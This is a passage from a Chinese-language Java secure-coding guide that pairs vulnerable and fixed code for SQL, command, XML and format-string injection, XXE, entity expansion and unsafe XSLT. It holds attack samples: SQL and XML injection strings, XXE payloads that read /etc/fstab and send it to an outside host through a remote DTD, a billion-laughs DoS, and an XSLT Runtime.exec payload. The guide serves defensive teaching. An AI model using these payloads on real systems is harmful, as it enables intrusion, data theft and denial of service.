979上述示例使用@Valid注解触发参数校验,校验逻辑为对象属性声明时通过注解指定的规则。对外接口内部调用的public方法`employeeService.updateCompany()`由于只有本模块使用,非对外接口,而且调用的地方已做参数校验,可以不做参数判断。 980 981**【反例】** 982 983获取环境变量值后未校验,直接使用。 984 985```java 986public static String getFile(String filePath, String fileName) { 987 // 获取进程的classpath路径 988 String path = System.getProperty(RUNTIME_BASE_DIR); 989 ... // 直接使用 990} 991``` 992 993**【正例】** 994 995使用ClassLoader提供的`getResource()`和`getResourceAsStream()`从装载的类路径中取得资源。 996 997```java 998public static String getSavePath(String filePath, String fileName) { 999 return ClassLoader.getSystemResource(fileName).getPath(); 1000} 1001``` 1002 1003对环境变量的值先进行标准化处理,再执行校验,最后使用: 1004 1005```java 1006public static String getFile(String filePath, String fileName) { 1007 // 获取进程的classpath路径 1008 String path = System.getProperty(RUNTIME_BASE_DIR); 1009 1010 // 标准化 1011 // 校验,例如StringUtils.startsWith(path, "/opt/xxxx/release/"); 1012 // 使用 1013} 1014``` 1015 1016**【反例】** 1017 1018配置文件未校验,直接使用。 1019 1020```java 1021@Configuration 1022@PropertySource("classpath:xxx.properties") 1023@Component 1024public class XxxConfig { 1025 @Value("${appId}") 1026 private String appId; 1027 1028 @Value("${secret}") 1029 private String citySecret; 1030} 1031``` 1032 1033**【正例】** 1034 1035Spring Boot框架可以使用注解@ConfigurationProperties和@Validated完成对配置文件的校验,如下所示: 1036 1037```java 1038@ConfigurationProperties(locations = "classpath: xxx.properties", prefix = "xxx") 1039@Validated 1040public class XxxConfig { 1041 @Value("${appId}") 1042 @Pattern(regexp = "[0-9_A-Z]{32}") 1043 private String appId; 1044 1045 @Value("${secret}") 1046 @Pattern(regexp = "[0-9A-Z]{64,138}", message = "Authentication credential error!") 1047 private String citySecret; 1048 1049 // Setter和Getter方法 1050} 1051``` 1052 1053ServiceComb框架,可以通过Java自带的validation-api,从Bean上下文取到配置文件对象后,显式调用检验。 1054 1055## 禁止直接使用外部数据来拼接SQL语句 1056 1057**【描述】** 1058 1059SQL注入是指使用外部数据构造的SQL语句所代表的数据库操作与预期不符,这样可能会导致信息泄露或者数据被篡改。SQL注入产生的根本原因是使用外部数据直接拼接SQL语句,防护措施主要有以下三类: 1060 1061- 使用参数化查询:最有效的防护手段,但对SQL语句中的表名、字段名等不适用; 1062- 对外部数据进行白名单校验:适用于拼接SQL语句中的表名、字段名; 1063- 对外部数据中的与SQL注入相关的特殊字符进行转义:适用于必须通过字符串拼接构造SQL语句的场景,转义仅对由引号限制的字段有效。 1064 1065参数化查询是一种简单有效的防止SQL注入的查询方式,应该被优先考虑使用。另外,参数化查询还能提高数据库访问的性能,例如,SQL Server与Oracle数据库会为其缓存一个查询计划,以便在后续重复执行相同的查询语句时无需编译而直接使用。对于常用的ORM框架(如Hibernate、iBATIS等),同样支持参数化查询。 1066 1067**【反例】**(Java代码动态构建SQL) 1068 1069```java 1070Statement stmt = null; 1071ResultSet rs = null; 1072try { 1073 String userName = request.getParameter("name"); 1074 String password = request.getParameter("password"); 1075 ... 1076 String sqlStr = "SELECT * FROM t_user_info WHERE name = '" + userName 1077 + "' AND password = '" + password + "'"; 1078 stmt = connection.createStatement(); 1079 rs = stmt.executeQuery(sqlString); 1080 ... // 结果集处理 1081} catch (SQLException ex) { 1082 // 处理异常 1083} 1084``` 1085 1086上述示例中使用用户提交的用户名和密码构造SQL语句,验证用户名和密码信息是否匹配,通过字符串拼接的方式构造SQL语句,存在SQL注入。恶意用户在仅知道用户名时,通过`zhangsan' OR 'a' = 'a`和**任意密码**的方式就能完成上述代码中的查询。 1087 1088**【正例】**(使用PreparedStatement进行参数化查询) 1089 1090```java 1091PreparedStatement stmt = null; 1092ResultSet rs = null; 1093try { 1094 String userName = request.getParameter("name"); 1095 String password = request.getParameter("password"); 1096 ... // 确保userName和password的长度是合法的 1097 String sqlStr = "SELECT * FROM t_user_info WHERE name=? AND password =?"; 1098 stmt = connection.prepareStatement(sqlStr); 1099 stmt.setString(1, userName); 1100 stmt.setString(2, password); 1101 rs = stmt.executeQuery(); 1102 ... // 结果集处理 1103} catch (SQLException ex) { 1104 // 处理异常 1105} 1106``` 1107 1108参数化查询在SQL语句中使用占位符表示需在运行时确定的参数值,使得SQL查询的语义逻辑预先被定义,实际的查询参数值则在程序运行时再确定。参数化查询使得数据库能够区分SQL语句中语义逻辑和数据参数,以确保用户输入无法改变预期的SQL查询语义逻辑。如果攻击者输入userName为`zhangsan' OR 'a' = 'a`,该字符串仅会作为name字段的值来使用。 1109 1110**【正例】**(对输入输入做转义) 1111 1112```java 1113public List<Book> queryBooks(List<Expression> queryCondition) { 1114 ... 1115 try { 1116 StringBuilder sb = new StringBuilder("select * from t_book where "); 1117 Codec oe = new OracleCodec(); 1118 if (queryCondition != null && !queryCondition.isEmpty()) { 1119 for (Expression e : queryCondition) { 1120 String exprString = e.getColumn() + e.getOperator(); 1121 String safeValue = XXXEncoder.encodeForSQL(oe, e.getValue()); 1122 sb.append(exprString).append("'").append(safeValue).append("' and "); 1123 } 1124 sb.append("1=1"); 1125 Statement stat = connection.createStatement(); 1126 ResultSet rs = stat.executeQuery(sb.toString()); 1127 ... // 其他代码 1128 } 1129 } 1130 ... 1131} 1132``` 1133 1134虽然参数化查询是防止SQL注入最便捷有效的一种方式,但不是SQL语句中任何部分在执行前都能够被占位符所替代,因此,参数化查询无法应用于所有场景。当使用执行前不可被占位符替代的外部数据来动态构建SQL语句时,必须对外部数据进行校验。每种DBMS都有其特定的转义机制,通过这种机制来告诉数据库此输入应该被当作数据,而不应该是代码逻辑。因此,只要输入数据被适当转义,就不会发生SQL注入问题。 1135 1136**注:**如果传入的是字段名或者表名,建议使用白名单的方式进行校验。 1137 1138在存储过程中,通过拼接参数值来构建查询字符串,和在应用程序代码中拼接参数一样,同样是有SQL注入风险的。 1139 1140**【反例】**(在存储过程中动态构建SQL) 1141 1142SQL Server存储过程: 1143 1144```sql 1145CREATE PROCEDURE sp_queryItem 1146 @userName varchar(50), 1147 @password varchar(50) 1148AS 1149BEGIN 1150 DECLARE @sql nvarchar(500); 1151 SET @sql = 'SELECT * FROM t_user_info 1152 WHERE name= ''' + @userName + ''' 1153 AND password= ''' + @password + ''''; 1154 EXEC(@sql); 1155END 1156GO 1157``` 1158 1159在存储过程中,通过拼接参数值来构建查询字符串,和在应用程序代码中拼接参数一样,同样是有SQL注入风险的。 1160 1161**【正例】**(在存储过程中进行参数化查询) 1162 1163SQL Server存储过程: 1164 1165```sql 1166CREATE PROCEDURE sp_queryItem 1167 @userName varchar(50), 1168 @password varchar(50) 1169AS 1170BEGIN 1171 SELECT * FROM t_user_info 1172 WHERE name = @userName 1173 AND password = @password; 1174END 1175GO 1176``` 1177 1178存储过程使用参数化查询,而不包含不安全的动态SQL构建。数据库编译此存储过程时,会生成一个SELECT查询的执行计划,只允许原始的SQL语义被执行,任何参数值,即使是被注入的SQL语句也不会被执行。 1179 1180## 禁止使用外部数据构造格式化字符串 1181 1182**描述】** 1183 1184Java中的Format可以将对象按指定的格式转为某种格式的字符串,格式化字符串可以控制最终字符串的长度、内容、样式,当格式化字符串中指定的格式与格式对象不匹配时还可能会抛出异常。当攻击者可以直接控制格式化字符串时,可导致信息泄露、拒绝服务、系统功能异常等风险。 1185 1186**【反例】** 1187 1188```java 1189public String formatInfo(String formatStr) { 1190 String value = getData(); 1191 return String.format(formatStr, value)); 1192} 1193 1194String formatStr = req.getParameter("format"); 1195String formattedValue = formatInfo(formatStr); 1196``` 1197 1198上面的示例代码中,直接使用外部指定的格式对字符串进行格式化,当外部指定的格式为非字符类型如%d,会导致格式化操作出现异常。 1199 1200**【正例】** 1201 1202```java 1203public String formatInfo() { 1204 String value = getData(); 1205 return String.format("my format: %s", value)); 1206} 1207``` 1208 1209上述示例将用户输入排除在格式化字符串之外。 1210 1211## 禁止向Runtime.exec()方法或java.lang.ProcessBuilder类传递外部数据 1212 1213**【描述】** 1214 1215`Runtime.exec()`方法或`java.lang.ProcessBuilder`类被用来启动一个新的进程,在新进程中执行命令。命令执行通常会有两种方式: 1216 1217- 直接执行具体命令: 例如`Runtime.getRuntime().exec("ping 127.0.0.1")`; 1218 1219直接使用外部数据构造命令行,会存在以下风险: 1220 1221- 执行命令时,需要命令行解释器对命令字符串进行拆分,该方式可执行多条命令,存在命令注入风险; 1222- 直接执行具体的命令时,可以通过空格、双引号或以-/开头的字符串向命令行中注入参数,存在参数注入风险。 1223 1224**外部数据用于构造非shell方式的命令行** 1225 1226**【反例】** 1227 1228```java 1229String cmd = "ping" + ip; 1230Runtime rt = Runtime.getRuntime(); 1231Process proc = rt.exec(cmd); 1232``` 1233 1234当ip的值为“ 127.0.0.1 -t”的时候,会向实际执行的命令中注入参数“-t”参数,导致ping进程持续执行。 1235 1236针对命令注入或参数注入,具体的解决方案如下: 1237 12381、**避免直接执行命令** 1239 1240对于Java的标准库或开源组件已经提供的功能,应使用标准库或开源组件的API,避免执行命令。 1241 1242如果无法避免执行命令,则必须要对外部数据进行检查和过滤。 1243 12442、**对外部数据进行校验** 1245 1246**【正例】**(数据校验) 1247 1248```java 1249... 1250// str值来自用户输入 1251if (!Pattern.matches("[0-9A-Za-z@]+", str)) { 1252 // 处理错误 1253} 1254... 1255``` 1256 1257外部数据用于拼接命令行时,可使用白名单方式对外部数据进行校验,保证外部数据中不含注入风险的特殊字符。 1258 12593、**对外部数据进行转义** 1260 1261**【正例】**(转义) 1262 1263```java 1264String encodeIp = XXXXEncoder.encodeForOS(new WindowsCodec(), ip); 1265String cmd = "cmd.exe /c ping " + encodeIp; 1266Runtime rt = Runtime.getRuntime(); 1267Process proc = rt.exec(cmd); 1268... 1269``` 1270 1271在执行命令行时,如果输入校验不能禁止有风险的特殊字符,需先外部输入进行转义处理,转义后的字段拼接命令行可有效防止命令注入的产生。 1272 1273说明:正确的转义处理只是针对外部输入,而不是拼接后的完整命令行。转义方式只针对命令注入有效,对于参数注入无效。 1274 1275## 禁止直接使用外部数据来拼接XML 1276 1277**【描述】** 1278 1279使用未经校验的数据来构造XML会导致XML注入漏洞。如果用户被允许输入结构化的XML片段,则用户可以在XML的数据域中注入XML标签来改写目标XML文档的结构和内容,XML解析器会对注入的标签进行识别和解释,引起注入问题。 1280 1281**【反例】** 1282 1283```java 1284private void createXMLStream(BufferedOutputStream outStream, User user) 1285 throws IOException { 1286 String xmlString; 1287 xmlString = "<user><role>operator</role><id>" + user.getUserId() 1288 + "</id><description>" + user.getDescription() + "</description></user>"; 1289 ... // 解析xml字符串 1290} 1291``` 1292 1293恶意用户可能会使用下面的字符串作为用户ID: 1294 1295``` 1296"joe</id><role>administrator</role><id>joe" 1297 1298``` 1299 1300并使用如下正常的输入作为描述字段: 1301 1302``` 1303"I want to be an administrator" 1304 1305``` 1306 1307最终,整个XML字符串将变成如下形式: 1308 1309```xml 1310<user> 1311 <role>operator</role> 1312 <id>joe</id> 1313 <role>administrator</role> 1314 <id>joe</id> 1315 <description>I want to be an administrator</description> 1316</user> 1317``` 1318 1319由于SAX解析器(org.xml.sax and javax.xml.parsers.SAXParser)在解释XML文档时会将第二个role域的值覆盖前一个role域的值,因此会导致此用户角色由操作员提升为了管理员。 1320 1321**【反例】**(XML Schema或者DTD校验) 1322 1323```java 1324private void createXMLStream(BufferedOutputStream outStream, User user) 1325 throws IOException { 1326 String xmlString; 1327 xmlString = "<user><id>" + user.getUserId() 1328 + "</id><role>operator</role><description>" + user.getDescription() 1329 + "</description></user>"; 1330 1331 StreamSource xmlStream = new StreamSource(new StringReader(xmlString)); 1332 1333 // 创建一个使用schema执行校验的SAX解析器 1334 SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); 1335 StreamSource ss = new StreamSource(new File("schema.xsd")); 1336 try { 1337 Schema schema = sf.newSchema(ss); 1338 Validator validator = schema.newValidator(); 1339 validator.validate(xmlStream); 1340 } catch (SAXException ex) { 1341 throw new IOException("Invalid userId", ex); 1342 } 1343 1344 // XML是有效的, 进行处理 1345 outStream.write(xmlString.getBytes(StandardCharsets.UTF_8)); 1346 outStream.flush(); 1347} 1348``` 1349 1350如下是schema.xsd文件中的schema定义: 1351 1352```xml 1353<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> 1354 <xs:element name="user"> 1355 <xs:complexType> 1356 <xs:sequence> 1357 <xs:element name="id" type="xs:string"/> 1358 <xs:element name="role" type="xs:string"/> 1359 <xs:element name="description" type="xs:string"/> 1360 </xs:sequence> 1361 </xs:complexType> 1362 </xs:element> 1363</xs:schema> 1364``` 1365 1366某个恶意用户可能会使用下面的字符串作为用户ID: 1367 1368``` 1369"joe</id><role>Administrator</role><!--" 1370 1371``` 1372 1373并使用如下字符串作为描述字段: 1374 1375``` 1376"--><description>I want to be an administrator" 1377 1378``` 1379 1380最终,整个XML字符串将变成如下形式: 1381 1382```xml 1383<user> 1384 <id>joe</id> 1385 <role>Administrator</role><!--</id> <role>operator</role> <description> --> 1386 <description>I want to be an administrator</description> 1387</user> 1388``` 1389 1390用户ID结尾处的`<!--`和描述字段开头处的`-->`将会注释掉原本硬编码在XML字符串中的角色信息。虽然用户角色已经被攻击者篡改成管理员类型,但是整个XML字符串仍然可以通过schema的校验。XML schema或者DTD校验仅能确保XML的格式是有效的,而攻击者可以在不打破原有XML格式的情况下,对XML的内容进行篡改。 1391 1392**【正例】**(白名单校验) 1393 1394```java 1395private void createXMLStream(BufferedOutputStream outStream, User user) 1396 throws IOException { 1397 // 仅当userID只包含字母、数字和下划线时写入XML字符串 1398 if (!Pattern.matches("[_a-bA-B0-9]+", user.getUserId())) { 1399 // 处理错误 1400 } 1401 if (!Pattern.matches("[_a-bA-B0-9]+", user.getDescription())) { 1402 // 处理错误 1403 } 1404 String xmlString = "<user><id>" + user.getUserId() 1405 + "</id><role>operator</role><description>" 1406 + user.getDescription() + "</description></user>"; 1407 outStream.write(xmlString.getBytes(StandardCharsets.UTF_8)); 1408 outStream.flush(); 1409} 1410``` 1411 1412这个方法使用白名单的方式对输入进行校验,要求输入的userId中只能包含字母、数字或者下划线。 1413 1414**【正例】**(使用安全的XML库) 1415 1416```java 1417public static void buildXML(FileWriter writer, User user) throws IOException { 1418 Document userDoc = DocumentHelper.createDocument(); 1419 Element userElem = userDoc.addElement("user"); 1420 Element idElem = userElem.addElement("id"); 1421 idElem.setText(user.getUserId()); 1422 Element roleElem = userElem.addElement("role"); 1423 roleElem.setText("operator"); 1424 Element descrElem = userElem.addElement("description"); 1425 descrElem.setText(user.getDescription()); 1426 XMLWriter output = null; 1427 try { 1428 OutputFormat format = OutputFormat.createPrettyPrint(); 1429 format.setEncoding("UTF-8"); 1430 output = new XMLWriter(writer, format); 1431 output.write(userDoc); 1432 output.flush(); 1433 } finally { 1434 // 关闭流 1435 } 1436} 1437``` 1438 1439上述示例中使用Dom4j来构建XML,Dom4j是一个定义良好、开源的XML工具库。Dom4j会对文本数据域进行XML编码,从而使得XML的原始结构和格式免受破坏。 1440 1441这个例子中,攻击者如果输入如下字符串作为用户ID: 1442 1443``` 1444"joe</id><role>Administrator</role><!--" 1445 1446``` 1447 1448以及使用如下字符串作为描述字段: 1449 1450``` 1451"--><description>I want to be an administrator" 1452 1453``` 1454 1455则最终会生成如下格式的XML: 1456 1457```xml 1458<user> 1459 <id>joe</id><role>Administrator</role><!--</id> 1460 <role>operator</role> 1461 <description>--><description>I want to be an administrator</description> 1462</user> 1463``` 1464 1465可以看到,“<”与“>”经过XML编码后分别被替换成了 “**\<”**与”**\>**”,导致攻击者未能将其角色类型从操作员提升到管理员。 1466 1467**【正例】**(编码) 1468 1469```java 1470private void createXMLStream(BufferedOutputStream outStream, User user) 1471 throws IOException { 1472 ... 1473 String encodeUserId = XXXXEncoder.encodeForXML(user.getUserId()); 1474 String encodeDec = XXXXEncoder.encodeForXML(user.getDescription()); 1475 1476 String xmlString = "<user><id>" + encodeUserId 1477 + "</id><role>operator</role><description>" + encodeDec 1478 + "</description></user>"; 1479 outStream.write(xmlString.getBytes(StandardCharsets.UTF_8)); 1480 outStream.flush(); 1481} 1482``` 1483 1484上述示例中,对外部数据在拼接XML字符串前进行了编码处理,然后再构造XML字符串,这样就不会导致XML字符串结构被篡改。 1485 1486## 防止解析来自外部的XML导致的外部实体(XML External Entity)攻击 1487 1488**【描述】** 1489 1490XML实体包括内部实体和外部实体。外部实体格式:`<!ENTITY 实体名 SYSTEM "URI"\>`或者`<!ENTITY 实体名 PUBLIC "public_ID" "URI"\>`。Java中引入外部实体的协议包括http、https、ftp、file、jar、netdoc、mailto等。XXE漏洞发生在应用程序解析来自外部的XML数据或文件时没有禁止外部实体的加载,造成任意文件读取、内网端口扫描、内网网站攻击、DoS攻击等危害。 1491 14921.利用外部实体的引用功能实现任意文件的读取: 1493 1494```xml 1495<?xml version="1.0" encoding="utf-8"?> 1496<!DOCTYPE updateProfile [ 1497 <!ENTITY file SYSTEM "file:///c:/xxx/xxx.ini"> ]> 1498<updateProfile> 1499 <firstname>Joe</firstname> 1500 <lastname>&file;</lastname> 1501 ... 1502</updateProfile> 1503``` 1504 15052.使用参数实体和<CDATA[]>避免XML解析语法错误,构造恶意的实体解析: 1506 1507XML文件:构造参数实体 % start;% goodies;% end;% dtd定义一个恶意的combine.dtd 1508 1509```xml 1510<?xml version="1.0" encoding="utf-8"?> 1511<!DOCTYPE roottag [ 1512 <!ENTITY % start "<![CDATA["> 1513 <!ENTITY % goodies SYSTEM "file:///etc/fstab"> 1514 <!ENTITY % end "]]>"> 1515 <!ENTITY % dtd SYSTEM "http://evil.example.com/combine.dtd"> 1516 %dtd; 1517 ]> 1518<roottag>&all;</roottag> 1519``` 1520 1521恶意DTD:combine.dtd中定义实体&all; 1522 1523```xml 1524<?xml version="1.0" encoding="UTF-8"?> 1525<!ENTITY all "%start;%goodies;%end;"> 1526``` 1527 1528甚至可以这样构造恶意的combine.dtd,将结果发送到目标地址,最后会获得file:///etc/fstab文件。 1529 1530```xml 1531<?xml version="1.0" encoding="UTF-8"?> 1532<!ENTITY % send "<!ENTITY all SYSTEM 'http://mywebsite.com/?%gooddies;'>"> 1533%send; 1534``` 1535 1536**【反例】** 1537 1538该示例中对来自外部的XML文件进行解析,没有禁止解析DTDs或者禁止解析外部实体。 1539 1540```java 1541private void parseXmlFile(String filePath) { 1542 try { 1543 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1544 DocumentBuilder db = dbf.newDocumentBuilder(); 1545 Document doc = db.parse(new File(filePath)); 1546 ... // 解析xml文件中的内容 1547 } catch (ParserConfigurationException ex) { 1548 // 处理异常 1549 } 1550 ... 1551} 1552``` 1553 1554上述代码示例中解析XML文件时未进行安全防护,当解析的XML文件是攻击者恶意构造的,系统会受到XXE攻击。 1555 1556**【正例】**(禁止解析DTDs) 1557 1558```java 1559private void parserXmlFileDisableDtds(String filePath) { 1560 try { 1561 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1562 1563 dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 1564 dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); 1565 dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); 1566 DocumentBuilder db = dbf.newDocumentBuilder(); 1567 Document doc = db.parse(new File(filePath)); 1568 ... // 解析xml文件中的内容 1569 } catch (ParserConfigurationException ex) { 1570 // 处理异常 1571 } 1572 ... 1573} 1574``` 1575 1576代码中设置禁止解析DTDs属性,该方式不仅可以防止XML的外部实体攻击也能防止XML内部实体攻击。 1577 1578**【正例】**(禁止解析外部一般实体和外部参数实体) 1579 1580该代码示例能防止外部实体(XXE)攻击,不能防止XML内部实体攻击。 1581 1582```java 1583private void parserXmlFileDisableExternalEntityes(String filePath) { 1584 try { 1585 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1586 dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false); 1587 dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); 1588 dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); 1589 DocumentBuilder db = dbf.newDocumentBuilder(); 1590 Document doc = db.parse(new File(filePath)); 1591 ... // 解析xml文件中的内容 1592 } catch (ParserConfigurationException ex) { 1593 // 处理异常 1594 } 1595 ... 1596} 1597``` 1598 1599**【正例】**(对外部实体进行白名单校验) 1600 1601这个示例方法定义一个CustomResolver类来实现接口`org.xml.sax.EntityResolver`。在这个类中实现自定义的处理外部实体机制。自定义实体解析方法中使用一个简单的白名单,在白名单范围内的返回对应的文件内容,否则返回一个空的实体解析内容。 1602 1603```java 1604private static void parserXmlFileValidateEntities(String filePath) { 1605 try { 1606 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1607 DocumentBuilder db = dbf.newDocumentBuilder(); 1608 db.setEntityResolver(new ValidateEntityResolver()); 1609 Document doc = db.parse(new File(filePath)); 1610 ... // 解析xml文件中的内容 1611 } catch (ParserConfigurationException ex) { 1612 // 处理异常 1613 } 1614 ... 1615} 1616 1617class ValidateEntityResolver implements EntityResolver { 1618 private static final String GOOD_ENTITY = "file:/Users/onlinestore/good.xml"; 1619 1620 public InputSource resolveEntity(String publicId, String systemId) 1621 throws SAXException, IOException { 1622 if (publicId != null && publicId.equals(GOOD_ENTITY)) { 1623 return new InputSource(publicId); 1624 } else if (systemId != null && systemId.equals(GOOD_ENTITY)) { 1625 return new InputSource(systemId); 1626 } else { 1627 return new InputSource(); 1628 } 1629 } 1630} 1631``` 1632 1633当系统中涉及的XML操作中必须使用外部实体时,必须对外部实体进行白名单校验。具体的校验方式如上述代码,自定义一个`ValidateEntityResolver`类(实现接口`org.xml.sax.EntityResolver`),在`resolveEntity`方法中对XML中引入的实体进行白名单校验,拒绝解析非白名单中的外部实体。 1634 1635备注:XML解析器非常多,不能一一列举。当程序加载来自外部的XML数据时,通过设置对该解析器生效的属性或其他方法达到禁止解析外部实体的目的,通过构建上面示例中有攻击行为的XML内容,查看程序反应来判断设置的属性是否已经生效。 1636 1637## 防止解析来自外部的XML导致的内部实体扩展(XML Entity Expansion)攻击 1638 1639**【描述】** 1640 1641XML内部实体是实体的内容已经在Doctype中声明。内部实体格式:`<!ENTITY 实体名 "实体的值"\>`。内部实体攻击比较常见的是XML Entity Expansion攻击,它主要试图通过消耗目标程序的服务器内存资源导致DoS攻击。外部实体攻击和内部实体扩展攻击有不同的防护措施(禁止DTDs解析可以防护外部实体和内部实体攻击)。 1642 1643解析下面恶意的XML内部实体,会占用大量服务器内存资源,导致拒绝服务攻击。 1644 1645```xml 1646<?xml version="1.0"?> 1647<!DOCTYPE lolz [ 1648 <!ENTITY lol "lol"> 1649 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 1650 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> 1651 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> 1652 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> 1653 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> 1654 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> 1655 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> 1656 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> 1657 ]> 1658<lolz>&lol9;</lolz> 1659``` 1660 1661内部实体扩展攻击**最好的防护措施是禁止DTDs的解析**。也可以对内部实体数量进行限制,以消减内部实体扩展攻击发生的可能性。在不需要使用内部实体时,应该禁止DTDs解析,需要使用内部实体时,严格限制内部实体的数量及XML内容的大小。 1662 1663**【正例】**(禁止解析DTDs) 1664 1665```java 1666public void receiveXMLStream(InputStream inStream) 1667 throws ParserConfigurationException, SAXException, IOException { 1668 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1669 dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 1670 dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); 1671 dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); 1672 DocumentBuilder db = dbf.newDocumentBuilder(); 1673 db.parse(inStream); 1674} 1675``` 1676 1677**【正例】**(限制实体解析个数) 1678 1679Java中的JAXP解析器默认限制实体解析个数是64,000个,但通常不会需要解析这么多的实体个数,可以限制更小的实体解析个数。该代码示例中通过设置DOM解析器的属性限制解析实体个数。 1680 1681```java 1682public void receiveXMLStream(InputStream inStream) 1683 throws ParserConfigurationException, SAXException, IOException { 1684 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1685 dbf.setAttribute("http://www.oracle.com/xml/jaxp/properties/entityExpansionLimit", 1686 "200"); 1687 DocumentBuilder db = dbf.newDocumentBuilder(); 1688 db.parse(inStream); 1689} 1690``` 1691 1692备注:属性http://www.oracle.com/xml/jaxp/properties/entityExpansionLimit在JDK 7u45+、JDK 8版本中支持。JAXP中的SAX和StAX类型解析器不支持该属性。 1693 1694**【正例】**(限制实体解析个数) 1695 1696该代码示例中通过设置系统属性限制解析实体个数。 1697 1698```java 1699public void receiveXMLStream(InputStream inStream) 1700 throws ParserConfigurationException, SAXException, IOException { 1701 1702 // 使用系统属性限制 1703 System.setProperty("entityExpansionLimit", "200"); 1704 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1705 DocumentBuilder db = dbf.newDocumentBuilder(); 1706 db.parse(inStream); 1707} 1708``` 1709 1710备注:系统属性entityExpansionLimit在JDK 7u45+、JDK 8版本中支持。JAXP中的SAX和StAX类型解析器同样生效。 1711 1712有些产品使用Xerces第三方jar包提供的DOM、SAX、StAX类型解析器,该jar包中可以通过设置`setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true)`限制实体个数不能超过100,000个。 1713 1714**【正例】**(限制解析实体个数) 1715 1716Xerces包中限制实体解析个数代码。 1717 1718```java 1719private static void receiveXMLStream(InputStream inStream) 1720 throws ParserConfigurationException, SAXException, IOException { 1721 DocumentBuilderFactory factory = DocumentBuilderFactoryImpl.newInstance(); 1722 factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true); 1723 DocumentBuilder db = factory.newDocumentBuilder(); 1724 org.w3c.dom.Document doc = db.parse(inStream); 1725 doc.getChildNodes(); 1726} 1727``` 1728 1729备注:XML解析器非常多,不能一一列举。当程序加载来自外部的XML数据时,通过设置对该解析器生效的属性或其他方法达到禁止解析内部实体的目的,通过构建上面示例中有攻击行为的XML内容,查看程序反应来判断设置的属性是否已经生效。 1730 1731## 禁止使用不安全的XSLT转换XML文件 1732 1733**【描述】** 1734 1735XSLT是一种样式转换标记语言,可以将XML数据转换为另外的XML或其他格式,如HTML网页,纯文字。因为XSLT的功能十分强大,可以导致任意代码执行,当使用TransformerFactory转换XML格式数据的时候,需要添加安全策略禁止不安全的XSLT代码执行。 1736 1737**【反例】** 1738 1739```java 1740public void XsltTrans(String src, String dst, String xslt) { 1741 // 获取转换器工厂 1742 TransformerFactory tf = TransformerFactory.newInstance(); 1743 try { 1744 // 获取转换器对象实例 1745 Transformer transformer = tf.newTransformer(new StreamSource(xslt)); 1746 1747 // 进行转换 1748 transformer.transform(new StreamSource(src), 1749 new StreamResult(new FileOutputStream(dst))); 1750 ... 1751 } catch (TransformerException ex) { 1752 // 处理异常 1753 } 1754 ... 1755} 1756``` 1757 1758这里xslt没有做任何限制,直接调用,当执行类似如下XSLT代码的时候,会导致命令执行漏洞: 1759 1760```xml 1761<?xml version="1.0" encoding="UTF-8" ?> 1762<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="java"> 1763 <xsl:template match="/" xmlns:os="java:lang.Runtime" > 1764 <xsl:variable name="runtime" select="java:lang.Runtime.getRuntime()"/> 1765 <xsl:value-of select="os:exec($runtime, 'calc')" /> 1766 </xsl:template> 1767</xsl:stylesheet> 1768``` 1769 1770**【正例】** 1771 1772```java 1773public void xsltTrans(String src, String dst, String xslt) { 1774 // 获取转换器工厂 1775 TransformerFactory tf = TransformerFactory.newInstance(); 1776 try { 1777 // 转换器工厂设置黑名单,禁用一些不安全的方法,类似XXE防护 1778 tf.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true); 1779 1780 // 获取转换器对象实例 1781 Transformer transformer = tf.newTransformer(new StreamSource(xslt)); 1782 1783 // 去掉<?xml version="1.0" encoding="UTF-8"?> 1784 transformer.setOutputProperty("omit-xml-declaration", "yes"); 1785 1786 // 进行转换 1787 transformer.transform(new StreamSource(src), 1788 new StreamResult(new FileOutputStream(dst))); 1789 ... 1790 } catch (TransformerException ex) { 1791 // 处理异常 1792 } 1793 ... 1794} 1795``` 1796 1797TransformerFactory可以添加安全策略防护,Java对xslt内置了黑名单,这里通过将[http://javax.xml.XMLConstants/feature/secure-processing属性设置为true开启防护,可以禁用一些不安全的方法。](http://javax.xml.xmlconstants/feature/secure-processing属性设置为true开启防护,可以禁用一些不安全的方法。) 1798 1799## 正则表达式应该尽量简单,防止ReDos攻击 1800 1801**【描述】** 1802 